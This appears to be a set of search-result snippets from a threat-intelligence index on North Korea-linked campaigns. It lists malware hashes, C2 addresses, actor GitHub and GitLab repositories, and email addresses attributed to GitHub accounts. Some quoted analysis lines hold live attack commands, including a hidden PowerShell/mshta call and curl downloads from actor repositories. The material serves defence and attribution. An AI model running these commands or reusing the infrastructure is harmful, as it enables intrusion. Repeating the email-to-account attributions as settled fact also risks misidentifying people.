1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac49…","…73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 1fe1fa6b01166c373de68c029d8cdda60cb1599053f935e580f3f40aaf106345 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5…","…(GUI) Intel 80386, for MS Windows MD5 f315be41d9765d69ad60f0b4d29e4300 SHA1 f60c2bd78436a14e35a7e85feccb319d3cc040eb SHA256 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 SHA512…","…SHA-256: f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237…","…c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 7504a626993179e5819246234ca6c4c9 PDB…","…c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a388f3428a6d44a66f5cb0b210379a0 C2…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69}\", \"file\": {\"hash\": {\"md5\": [\"029456110598a8fddefbf942d6f50cc4\"], \"sha1\": [\"69f24956fb75beb9b93ef974d873914500e35601\"], \"sha256\":…","…3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705 87e3e59f6653ae1306461bf9683bda92f442d77f fe93382464347be4361c7e8fb131a668 566835ce413271ddca8d5014c912dda8ba7e5e45573a7da6ba8e20d72541a2ca 73d6694a0339cc4083f66395b6b4b3da324e2113…","…Size 165376 bytes MD5 18644822140eda7493bd75ba1e1f235d SHA1 b801643e2d817931e6aa36e6bf24d1c42e9b8fdc SHA256 fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e Its purpose is to collect information on the infected system and download shellcode from the command-and-control (C2) server.…","…(Baseline revenue / consistent tempo, fintech & crypto) Primary exemplars (CrowdStrike community-tracking hashes): (CrowdStrike) Jeus fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e ( CrowdStrike ) HTTPHelper ff32bc1c756d560d8a9815db458f438d63b1dcb7e9930ef5b8639a55fa7762c9 ( CrowdStrike ) SnakeBaker…","…in early December 2020, having a similar timeline to the 3Proxy tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 Link time 2020-09-16 14:16:21 File type PE32…","…2fdf61fdfd649f8bbf5730307a0ab5d1 b2a89eebb5be61939f5458a024c929b169b4dc85 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 bb915073385dd16a846dfa318afa3c19 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea…","…There are at least two variants of this file (SHA256: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 and fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7) and they seem to relate to different versions of the software. The malicious code is in the InitFunc_0 function of libffmpeg.dylib,…","…87c5d0c93b80acf61d24e7aaf0faae231ab507ca45483ad3d441b5d1acebc43c 99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 7667d1b8fcc4f712084e3e3f8b4ab505ab150c52aea7b219249ec508b4b0e224 UpdateAgent SHA256 hash:…","…malware family with the following properties: SHA256 19ee7d139908a889d08508dd4225f2d27958ac2c8b7ff18a97507f7de8ce79bc SHA1 ff080176ab9e51ace68dbe3a56629168b41fa1fc MD5 9d2e5f9274b25740131f3b6139e3c3ce File Type Win64 EXE Compile Time 2021:05:25 02:20:44+01:00 Much like BLUELIGHT,…","…SHA256 2e8d2525a523b0a47a22a1e9cc9219d6526840d8b819d40d24046b17db8ea3fb Imphash 52ff8adb6e941e2ce41fd038063c5e0e Rich PE Hash ff102ff1ac1c891d1f5be7294035d19e Filetype PE32+ DLL Compile Timestamp 2022-08-29 06:33:10 UTC Once the file is loaded into the memory, it gives remote access to…","…4f9cfa e40347e7cd335b43a0d27b33521684754f66d1e3be714f22a68e27d396a63faf eaef808e1ac99d13481b23b9dbdb6d246b14feaf35db0b592412dc213e619cc5 ff44d3dabb82467cd21187039789314bfd70c15777fcdc93ada11059ed4c289b 07df3733b75e6e23d2217a6548ed66654793b20a0674b22187e558c3284c0055 184fba6160521bd8c345d327e42ad2804dca419edec5657a859be78b82c1d98b 2772bb…","…Faedevour Worm File Hashes FFFA05401511AD2A89283C52D0C86472 78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes FF4721E6EDAD7D3BEC8E0C4D4A8C1D26 344D3EC0D84D2853E416C664DD577F44 F024FF4176F0036F97EBC95DECFD1D5E 3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends…","…0bdb652bbe15942e866083f29fb6dd62 Package creation date 2018-08-03 09:57:29 2018-08-13 0:12:10 Dropped updater MD5 ffae703a1e327380d85880b9037a0aeb bbbcf6da5a4c352e8846bf91c3358d5c Updater creation date 2018-08-03 09:50:08 2018-08-11 7:28:08 Updater Build path H:\\DEV\\…","…Size 3585364 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 ffc2a7073ba362b295357ac6e782634a SHA1 6d13e85cd812e249ab950ec405e84289de9cfe5e SHA256 7ea6391c11077a0f2633104193ec08617eb6321a32ac30c641f1650c35eed0ea SHA512…","…cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792 ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9 ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2 Mutexes FwtSqmSession106839323_S-1-5-20 IPv4s 110.45.145.103 113.10.170.98 114.215.130.173 119.29.11.203…","…Card Game.\" As shown in the figure below, the site features a download button for an Android APK file (one68_1_1.0.apk, SHA-256: ffe4cfde23a1ef557f7dc56f53b3713d8faa9e47ae6562b61ffa1887e5d2d56e). Figure 6: Online gaming webpage hosted on port 80 of 51.79.218.159.…","…e6dff9a5f74fff3a95e2dcb48b81b05af5cf5be73823d56c10eee80c8f17c845 Malicious Rheinmetall Document 1 SHA256 ffec6e6d4e314f64f5d31c62024252abde7f77acdd63991cb16923ff17828885 Malicious Rheinmetall Document 2 SHA256 8e1746829851d28c555c143ce62283bc011bbd2acfa60909566339118c9c5c97…","…a-gwas-01.dyndns.org Rivts Worm File Hashes 4B584695BA08E680452BE6016886637A Faedevour Worm File Hashes FFFA05401511AD2A89283C52D0C86472 78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes FF4721E6EDAD7D3BEC8E0C4D4A8C1D26 344D3EC0D84D2853E416C664DD577F44…","Lure-repository artifact in Proofpoint's UNK_DeadDrop campaign of April to May 2026: the VBScript used to launch the Windows stage without a visible window. The actor is assessed as very likely North Korea-aligned.","Lure-repository artifact in Proofpoint's UNK_DeadDrop campaign of April to May 2026: the batch script a repository's Visual Studio Code task launched on Windows. The actor is assessed as very likely North Korea-aligned.","Lure-repository artifact in Proofpoint's UNK_DeadDrop campaign of April to May 2026: the shell script a repository's Visual Studio Code task launched on macOS and Linux. The actor is assessed as very likely North Korea-aligned.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Proofpoint's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. 098oiuyt holds john.smith.19880@outlook.com (3). Where the address came from a report, the report is https://www.proofpoint.com/us/blog/threat-insight/ta406-pivots-front. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Genians's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. 0xapp123 holds apollo1030109@gmail.com (100). Where the address came from a report, the report is https://www.genians.co.kr/en/blog/threat_intelligence/kimsuky_ai_llm. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…ca93591a9441a2ade70821f67292d982 C2 112.175.185.59 104.21.13.241 172.67.133.130 206.206.123.55 216.74.123.97 googlauth.com github.com/adrhpbrn29 review.accountprotection.info Reference Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Moonlock's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. anatollibigdasch0717-oss holds anatollibigdasch0717@gmail.com (2). Where the address came from a report, the report is https://moonlock.com/fake-vcs-target-crypto-talent-clickfix-campaign. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ENKI's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. andreytony001-png holds andreytony001@gmail.com (9). Where the address came from a report, the report is https://web.archive.org/web/20260313110351/https://www.enki.co.kr/media-center/blog/konni-s-asyncrat-attack-lnk-based-infection. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…In total, ESET found four such repositories, which were then all taken down with GitHub’s help: github.com/lermontovainessa/Hub github.com/arkadi20233/hub github.com/ivan123iii78/hub github.com/MTDSup/updateResolver The control panels used information stored in the dead-drop resolvers to…","…Accounts github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang github.com/jeni534 5-3.…","…GitHub 계정 github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang github.com/jeni534 5-3.…","…Accounts Further investigation revealed a number of GitHub accounts with names matching the Twitter handles published by Google: https://github.com/br0vvnn https://github.com/dev0exp https://github.com/henya290 https://github.com/james0x40 https://github.com/tjrim91 Actor-controlled…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. CedricDuminy123 holds hottblaze012@gmail.com (1). Where the address came from a report, the report is https://socket.dev/blog/lazarus-strikes-npm-again-with-a-new-wave-of-malicious-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Weaponized Terraform lock file hashicorp-aws.io Provider: https://github.com/chainstacker/Northwind-IAC/blob/930e5be6d34511bedbfb0d762bd08fffe64e9630/aws/us-east-1/prod/northwind/global/vpc/.terraform.lock.hcl Weaponized Terraform lock file…","…pivot in RL data github.com/exubient0/terraform-candidate-repo URL Lure repository with weaponized lock file (SentinelOne) github.com/chainstacker/Northwind-IAC URL Lure repository with weaponized lock file (SentinelOne) https://sites.google.com/view/brewpage URL Fake Homebrew page…","…github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang github.com/jeni534 5-3.…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Genians's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. chromeweb78 holds dustinharrise91@outlook.com (3); jackal3300 holds jackal3300@proton.me (15). Where the address came from a report, the report is https://www.genians.co.kr/en/blog/threat_intelligence/ai-agent-opencode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://github.com/cmastern Threat actor’s GitHub.…","…- https://github.com/devAji917 - https://github.com/kgretzky/evilginx2/issues/253 - https://github.com/cryptonotefoundation/cryptonote/issues/221 - https://github.com/cryptonotefoundation/cryptonote/issues/222 [그림 26] 깃허브에 등록된 'devAji917' 사용자 화면 결국, 'aji199293'…","…A metadata file packaged in the DAFOM application provided the URL https://github.com/dafomdev for bug reports.…","…lead to stronger user protections across the industry. Actor controlled sites and accounts GetSymbol: https://github.com/dbgsymbol/ https://dbgsymbol.com 50869d2a713acf406e160d6cde3b442fafe7cfe1221f936f3f28c4b9650a66e9…","….com/pwko.hta http://vvopen.pklzd.com/pwko.hta https://link24.kr/CWvH07K; https://vvopen.pklzd.com/pwko.hta https://link24.kr/5JODAJr/ https://github.com/deepsearch-tech/ref/releases/download/v1.0.0/pwko.hta?v=3: https://github.com/deepsearch-tech/ref/releases/download/v1.0.0/pwko.hta?v=4 https://link24.kr/2JpHiyv$global:? https://link24.kr/5JODAJ…","…backdoor Exfiltration T1041 Exfiltration Over C2 Channel Exfiltrates gathered data over C2 channels with backdoor [1] https://github.com/DeFiCh/app [2] APT Intel report: Lazarus Covet Covid19 Related Intelligence Malware Technologies Google Chrome Trojan…","…revealed a number of GitHub accounts with names matching the Twitter handles published by Google: https://github.com/br0vvnn https://github.com/dev0exp https://github.com/henya290 https://github.com/james0x40 https://github.com/tjrim91 Actor-controlled blog URLs…","…- https://github.com/devAji917 - https://github.com/kgretzky/evilginx2/issues/253 - https://github.com/cryptonotefoundation/cryptonote/issues/221 -…","…GitHub release artifacts URL https://github.com/expessjs/body-parser/releases/download/v2.2.0/body-parser-2.2.0.tgz https://github.com/experss-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz https://github.com/expess-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz…","…https://github.com/experss-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz https://github.com/expess-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz https://github.com/ljharb-js/parseurl/releases/download/v1.3.3/parseurl-1.3.3.tgz…","…JavaScript f1487451933a05a680e71dde7a2b11560d2d33a7 Resolved GitHub release artifacts URL https://github.com/expessjs/body-parser/releases/download/v2.2.0/body-parser-2.2.0.tgz https://github.com/experss-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz…","…www.mactroubleshoots.pro www.tinklify.com Coding Challenge Repositories hashicorp-aws.com Provider: https://github.com/exubient0/terraform-candidate-repo/blob/main/.terraform.lock.hcl Weaponized Terraform lock file…","…Toolset infrastructure (SentinelOne) grenight.com Domain Toolset infrastructure (SentinelOne); noisy pivot in RL data github.com/exubient0/terraform-candidate-repo URL Lure repository with weaponized lock file (SentinelOne) github.com/chainstacker/Northwind-IAC URL Lure repository with…","…for Kupay is Bitpay. Lastly, the GitHub “Commit Hash” listed in the Dorusio application “638b2b1” is to a branch of Copay found at https://github.com/flean/copay-1 (Figure 5). Screenshots Figure 3 - Screenshot of the Kupay Wallet application. Figure 4 - Screenshot of the Bitpay site…","…\"Dorusio\" is Bitpay. In addition, the GitHub “Commit Hash” listed in the \"Dorusio\" application “638b2b1” is to a branch of Copay found at https://github.com/flean/copay-1. Screenshots Figure 4 - Screenshot of the Dorusio application. Figure 5 - Screenshot of the \"Dorusio.exe\" file…","…the tasks.json + vendor/ mechanism described by Proofpoint, as confirmed by these two screenshots of the repo. Figure 16: https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json. Figure 17: https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json.…","…Talert.site Talert.store Talert.online Talert.space endava.online GitHub repos github.com/vergiegpham/ADS_Analitics github.com/Fujinuma0804/Tralert IP addresses 161.97.113.34 91.107.246.107 Email addresses possibly belonging to the TA vergiegpham@gmail.com…","…- https://github.com/Fungsyujonggu 또한, 중국인 계정처럼 보이는 'Fungsyujonggu' 깃허브 계정에서 동일한 핫메일 주소가 발견되었습니다.…","…https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1 This technique can be seen in figures 24 and 25: Figure 24 Figure 25 Wpcsvc.dll, wpcsvc.dat, wpcsvc.ini These provide…","…GitHub accounts with names matching the Twitter handles published by Google: https://github.com/br0vvnn https://github.com/dev0exp https://github.com/henya290 https://github.com/james0x40 https://github.com/tjrim91 Actor-controlled blog URLs…","…https://github.com/IconStorages/images )に対して接続を行う。同リポジトリには16個のICO形式ファイルが蔵置されていたが、実際にはICOファイルの末尾にC2接続先の情報が含まれており、先ほどの読み込んだ処理を通じてBase64のデコードとAESによる暗号化の復号を行いC2情報（URL）の取得を行う。なお、どのICO…","…to as “ICONIC”, is as follows: Download various files that contain additional code, with names such as icon[0-15].ico , hosted at https://github.com/IconStorages/images/ .…","…cloudeservices.com pbxphonenetwork.com pbxsources.com qwepoi123098.com sbmsa.wiki sourceslabs.com visualstudiofactory.com zacharryblogs.com github.com/IconStorages/images azureonlinestorage.com convieneonline.com Soyoungjun.com URL Malicious URL…","…repository and raw file contents: https://raw.githubusercontent.com/IconStorages/images/main/icon%d.ico This Github repository, https://github.com/IconStorages/images , stored 16 separate .…","…https://github.com/ljharb-js/parseurl/releases/download/v1.3.3/parseurl-1.3.3.tgz https://github.com/Ijharb/side-channel-weakmap/releases/download/1.0.2/side-channel-weakmap-1.0.2.tgz Package indicators: package_name version sha1 repository graph-dynamic 1.0.0…","…four such repositories, which were then all taken down with GitHub’s help: github.com/lermontovainessa/Hub github.com/arkadi20233/hub github.com/ivan123iii78/hub github.com/MTDSup/updateResolver The control panels used information stored in the dead-drop resolvers to access RedLine’s backend…","…matching the Twitter handles published by Google: https://github.com/br0vvnn https://github.com/dev0exp https://github.com/henya290 https://github.com/james0x40 https://github.com/tjrim91 Actor-controlled blog URLs https://br0vvnn.io https://blog.br0vvnn.io Actor-controlled C2…","…GitHub Accounts github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang github.com/jeni534 5-3.…","…github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang github.com/jeni534 5-3.…","…- https://github.com/devAji917 - https://github.com/kgretzky/evilginx2/issues/253 - https://github.com/cryptonotefoundation/cryptonote/issues/221 - https://github.com/cryptonotefoundation/cryptonote/issues/222…","…In total, ESET found four such repositories, which were then all taken down with GitHub’s help: github.com/lermontovainessa/Hub github.com/arkadi20233/hub github.com/ivan123iii78/hub github.com/MTDSup/updateResolver The control panels used information stored in…","…https://github.com/expess-js/body-parser/releases/download/v2.2.1/body-parser-2.2.1.tgz https://github.com/ljharb-js/parseurl/releases/download/v1.3.3/parseurl-1.3.3.tgz https://github.com/Ijharb/side-channel-weakmap/releases/download/1.0.2/side-channel-weakmap-1.0.2.tgz Package indicators:…","…88.119.175.208:443 coreladao.com cdn.clubinfo.io Attacker IPs: 193.233.171.58 193.233.85.234 Attacker GitHub Usernames: https://github.com/mariaauijj https://github.com/patriciauiokv https://github.com/lauraengmp Attacker Social Account: Telegram: @tanzimahmed88 Backdoor Program…","…Follow-up URL pattern …/raw/main/<COMPUTERNAME>/help.ini?ref_type=heads Modified persistent loader Exfiltration repository github.com/mongdolma/kangkani PowerShell upload function Exfiltration API pattern…","…GitHub Accounts github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang…","…GitHub 계정 github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P github.com/choemiyang…","…were then all taken down with GitHub’s help: github.com/lermontovainessa/Hub github.com/arkadi20233/hub github.com/ivan123iii78/hub github.com/MTDSup/updateResolver The control panels used information stored in the dead-drop resolvers to access RedLine’s backend servers.…","…Social Media Posts https://twitter.com/cyb3rops/status/1641130326830333984 ( https://github.com/SigmaHQ/sigma/pull/4151/files , https://github.com/Neo23x0/signature-base/blob/master/yara/gen_mal_3cx_compromise_mar23.yar ) https://twitter.com/cyb3rops/status/1641339448053858304 https://twitter.com/patrickwardle/status/1641294247877021696…","…Nextron System’s Sigma and YARA rules for detection https://github.com/Neo23x0/signature-base/blob/master/yara/gen_mal_3cx_compromise_mar23.yar Unofficial OTX AlientVault Pulse https://otx.alienvault.com/pulse/64249206b02aa3531a78d020 Kevin Beaumont’s commentary…","…IoCs Network Indicators Type Indicator Description URL https[://]github.com/omskiwdcvoiuyfd0998/ Threat Actor’s GitHub Account URL https[://]github.com/omskiwdcvoiuyfd0998/media Threat Actor’s GitHub Repo of Peace Lure URL…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Genians's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Outtaini holds taini7700@outlook.com (7). Where the address came from a report, the report is https://www.genians.co.kr/en/blog/threat_intelligence/ai-agent-opencode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Attacker IPs: 193.233.171.58 193.233.85.234 Attacker GitHub Usernames: https://github.com/mariaauijj https://github.com/patriciauiokv https://github.com/lauraengmp Attacker Social Account: Telegram: @tanzimahmed88 Backdoor Program Names:…","…FASTCash for Windows malware uses code from github.com/petewarden/c_hashmap for hashmaps, code from Microsoft's Detours Library at github.com/Microsoft/Detours for hooking, and code from to parse ISO 8583…","…The sample uses code that is taken from github.com/petewarden/c_hashmap to load the configuration file into memory in a hashmap, API hooking using Microsoft’s Detour library at github.com/Microsoft/Detours and…","…<894fb3ac5b9e18e3207b1b73de5b395b@118.193.68.90> X-Mailer: PHPMailer 5.2.14 (https://github.com/PHPMailer/PHPMailer) MIME-Version: 1.0 이메일 헤더 분석 1.…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Genians's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. portablehub04 holds jametony8@outlook.com (4). Where the address came from a report, the report is https://www.genians.co.kr/en/blog/threat_intelligence/ai-agent-opencode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Provider: https://github.com/exubient0/terraform-candidate-repo/blob/main/.terraform.lock.hcl Weaponized Terraform lock file https://github.com/radupopa369/gtn-candidate-repo/blob/feat/three-tier-infrastructure/live/.terraform.lock.hcl Weaponized Terraform lock file hashicorp-aws.io Provider:…","…Weaponized Terraform lock file https://github.com/RyanLRay/Technical-Assessments/blob/19af09ebe8b7ad03419677dda515507dd099bc39/README.md?plain=1#L175 README with references to the weaponized provider domain hashicorp-terraform.io Provider:…","…in a hashmap, API hooking using Microsoft’s Detour library at github.com/Microsoft/Detours and the ISO8583 parsing code is taken from github.com/sabit/Oscar-ISO8583 (slightly modified to facilitate parsing of IBM037 formatted data). The encryption that is used for all log/config files is likely an AES…","…resources will become available after publication. Social Media Posts https://twitter.com/cyb3rops/status/1641130326830333984 ( https://github.com/SigmaHQ/sigma/pull/4151/files , https://github.com/Neo23x0/signature-base/blob/master/yara/gen_mal_3cx_compromise_mar23.yar )…","…README with references to the weaponized provider domain hashicorp-terraform.io Provider: https://github.com/Steed-LHV/assessment README with references to the weaponized provider domain DPRK macOS Share…","…GitHub Accounts github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P…","…GitHub 계정 github.com/sven5500 github.com/montry111 github.com/jamjack2026 github.com/urusa4400 github.com/jamestony88 github.com/baras6600P…","…2022년 1월 26일 ASEC 분석팀은 Kimsuky 공격 그룹에서 xRAT (Quasar RAT 기반의 오픈소스 RAT) 악성코드를 사용하는 정황을 포착하였다. xRAT Github 주소 : https://github.com/tidusjar/xRAT 자사 ASD(AhnLab Smart Defense) 인프라에 확보된 로그에 따르면 공격자는 Gold Dragon의 변종을 1월 24일 최초 감염 PC에 설치하였다.…","…xRAT Github 주소 : https://github.com/tidusjar/xRAT 자사 ASD(AhnLab Smart Defense) 인프라에 확보된 로그에 따르면 공격자는 Gold Dragon의 변종을 1월 24일 최초 감염 PC에 설치하였다.…","…the BlueNoroff Research folder Details from Tayvano’s “BlueNoroff Research” folder also mention Trevor Greer, trevorgreer9312@gmail.com, github.com/trevor9312, 104.223.97.2 (an Astrill VPN IP), and 91.239.130.102 (also Astrill). Infiltrating Lazarus APT Infrastructure Silent Push Threat…","…Tralert.site Tralert.store Talert.site Talert.store Talert.online Talert.space endava.online GitHub repos github.com/vergiegpham/ADS_Analitics github.com/Fujinuma0804/Tralert IP addresses 161.97.113.34 91.107.246.107 Email addresses possibly belonging to the TA…","…↩︎ 今回の解析ではde4dotのフォーク版であるde4dot-cexを使用しました。 ViRb3/de4dot-cex – GitHub https://github.com/ViRb3/de4dot-cex ↩︎ 以前の攻撃キャンペーンにおいても同じMutex名が使用されていました。 The Coordinated Embassy Hunt: Unmasking the DPRK-linked GitHub C2 Espionage Campaign…","…MD5 LNK 파일 Trojan.Agent.LNK.Gen 302725413076d1aeaee2d7f2b3692646 MD5 LNK 파일 Trojan.Agent.LNK.Gen https[://]gitlab.com/arkiler-group/at gitlab 저장소 https[://]gitlab.com/kevin-group5101713/ri/hifer gitlab 저장소 공유하기 게시글 관리…","…MD5 LNK 파일 Trojan.Agent.LNK.Gen https[://]gitlab.com/arkiler-group/at gitlab 저장소 https[://]gitlab.com/kevin-group5101713/ri/hifer gitlab 저장소 공유하기 게시글 관리 이스트시큐리티 알약 블로그 저작자표시 비영리 변경금지 (새창열림)…","…검증 생략 curl -L:HTTP 리다이렉트 추적 -o:지정 경로에 저장 explorer.exe:PDF를 연d결된 프로그램으로 열기 apple.vbe:파일 연결을 통한 스크립트 실행 이게 핵심 하지만 파일은 확보 못 함 PDF 다운로드 및 실행 https://gitlab.com/kickball12/bahubali/-/raw/main/aaa.pdf?ref_type=heads\" -o c:\\users\\public\\music\\aa.pdf 2.ini 파일을 VBE로 변경하여 실행 c:\\users\\public\\music\\apple.vbe GitLab…","…전달된 명령을 실행하고 종료를 하는 방식을 사용하고 있습니다. mode 15,1 콘솔 창의 크기를 15열, 1행으로 설정하려는 명령을 사용해서 사용자에게 악성코드가 실행하는 콘솔이 보이지 않게 처리합니다. 2.GitLab에서 PDF 문서 다운로드 https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads\" -o \"%appdata%\\whiskak.pdf\" 옵션 의미 -k:HTTPS 인증서 검증 생략 -L:HTTP 리다이렉션 추적 -o:다운로드 결과를 지정된 파일에…","…Type Value Source context Payload repository gitlab.com/rabbit779/giraff88 LNK and downloaded loader Decoy URL https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads LNK arguments Loader URL…","…A few days later, the payload was querying another repository of the same structure, gitlab.com/up-indexings/tasks .…","…URL https://aplore.kesug.com/atratek/anyware.txt https://aplore.kesug.com/fixpril/energy.txt https://aplore.kesug.com/riln.php https://hypernotepad.com/n/9ad499c02eb051df https://sixtysixrealestate.com/wp-admin…","…4f06eaed3dd67ce31e7c8258741cf727964bd271c3590ded828ad7ba8d04ee57 Online Payload: http://artndesign2.cafe24.com:80/skin_board/s_build_cafeblog/exp_include/img.png 2016 NavRAT sample: e0257d187be69b9bee0a731437bf050d56d213b50a6fd29dd6664e7969f286ef…","…'c:\\windows\\system32\\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 311714 2.2.2.2 || mshta http://bian0151.cafe24.com/admin/board/1.html' -PropertyType String -Force;} The confirmed C2 and malicious URLs are as follows:…","…payload hashes and 3 command endpoints) were actively evaluated by VirusTotal and cleared with zero detections. IOC to look up: csec-supply-chain-attack-1tcq.onrender.com (Domain).…","…payment method — the operators can create unlimited projects with throwaway accounts. Indicators of Compromise Network Indicators curly-spoon-sigma.vercel.app (active Naver phishing) arnptec.com (backend — open directory, exfil endpoint) arnptec.com/team24/ (operator directories)…","…And don’t get rekt. IOCs IPV4:141.94.148.39 URL:ip-checking-psi.vercel.app // Thanks for the quick takedown, Vercel! SHA256:fcbcaf9a00757fff176afed4b3b115227b02f11f0cca4a762b0b0f12723daa53 //…","…Here the C2 url used for making request is the “http[://]ljs5950.cafe24.com[/]bbs[/]samsung[/]do.php“ & from C2 url further plugins are downloaded in APPDATA folder. This malicious .hwp document on 